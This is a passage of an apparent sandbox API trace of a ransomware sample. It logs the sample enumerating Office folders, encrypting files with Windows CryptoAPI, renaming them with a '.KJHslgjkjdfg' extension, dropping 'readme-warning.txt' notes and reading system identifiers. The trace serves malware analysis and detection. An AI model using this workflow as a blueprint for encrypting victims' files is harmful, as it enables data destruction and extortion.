HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.164] GetProcessHeap () returned 0x2ef0000 [0170.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.164] GetProcessHeap () returned 0x2ef0000 [0170.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.164] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.164] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.165] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.165] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.165] GetProcessHeap () returned 0x2ef0000 [0170.165] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.165] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.165] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.165] GetProcessHeap () returned 0x2ef0000 [0170.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.165] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\readme-warning.txt") returned 110 [0170.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.166] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.167] CloseHandle (hObject=0x118) returned 1 [0170.167] GetProcessHeap () returned 0x2ef0000 [0170.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.167] GetProcessHeap () returned 0x2ef0000 [0170.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.167] GetProcessHeap () returned 0x2ef0000 [0170.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.167] GetProcessHeap () returned 0x2ef0000 [0170.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.168] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.168] GetProcessHeap () returned 0x2ef0000 [0170.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.168] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0170.168] GetProcessHeap () returned 0x2ef0000 [0170.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xcc) returned 0x2f14588 [0170.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.169] GetProcessHeap () returned 0x2ef0000 [0170.169] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.169] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0170.169] GetProcessHeap () returned 0x2ef0000 [0170.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2ce) returned 0x2f47728 [0170.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.169] GetProcessHeap () returned 0x2ef0000 [0170.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.169] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.169] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.169] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xa, lpOverlapped=0x0) returned 1 [0170.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.171] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.171] GetProcessHeap () returned 0x2ef0000 [0170.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.172] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.172] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.172] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.172] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.172] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.172] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.172] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.172] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.172] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.172] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.172] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x646, lpOverlapped=0x0) returned 1 [0170.172] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x650, dwBufLen=0x650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x650) returned 1 [0170.172] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.172] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x650, lpOverlapped=0x0) returned 1 [0170.173] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.173] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.173] SetEndOfFile (hFile=0x118) returned 1 [0170.175] GetProcessHeap () returned 0x2ef0000 [0170.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.175] GetProcessHeap () returned 0x2ef0000 [0170.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.kjhslgjkjdfg")) returned 1 [0170.176] CloseHandle (hObject=0x118) returned 1 [0170.176] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.176] GetProcessHeap () returned 0x2ef0000 [0170.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.176] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.176] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.176] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xc, lpOverlapped=0x0) returned 1 [0170.178] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.178] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.178] GetProcessHeap () returned 0x2ef0000 [0170.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.178] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.178] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.178] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.179] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.179] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.179] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.179] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.179] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.179] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.179] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.179] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.179] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x7c4, lpOverlapped=0x0) returned 1 [0170.179] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x7d0) returned 1 [0170.179] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.179] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x7d0, lpOverlapped=0x0) returned 1 [0170.179] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.179] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.179] SetEndOfFile (hFile=0x118) returned 1 [0170.182] GetProcessHeap () returned 0x2ef0000 [0170.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.182] GetProcessHeap () returned 0x2ef0000 [0170.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.190] CloseHandle (hObject=0x118) returned 1 [0170.190] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.190] GetProcessHeap () returned 0x2ef0000 [0170.190] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.190] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.190] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.191] GetProcessHeap () returned 0x2ef0000 [0170.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.191] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.191] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.191] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.191] GetProcessHeap () returned 0x2ef0000 [0170.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.191] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.191] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.191] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.191] GetProcessHeap () returned 0x2ef0000 [0170.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.191] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.191] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.191] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.191] GetProcessHeap () returned 0x2ef0000 [0170.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.191] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.192] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.192] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.192] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.192] RegCloseKey (hKey=0x118) returned 0x0 [0170.192] GetProcessHeap () returned 0x2ef0000 [0170.192] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.192] GetProcessHeap () returned 0x2ef0000 [0170.192] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.192] GetProcessHeap () returned 0x2ef0000 [0170.192] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.192] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.192] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.192] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.192] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.192] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.193] GetProcessHeap () returned 0x2ef0000 [0170.193] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.193] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.193] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.193] GetProcessHeap () returned 0x2ef0000 [0170.193] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.193] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\readme-warning.txt") returned 112 [0170.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.195] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.197] CloseHandle (hObject=0x118) returned 1 [0170.197] GetProcessHeap () returned 0x2ef0000 [0170.197] HeapFree (in: 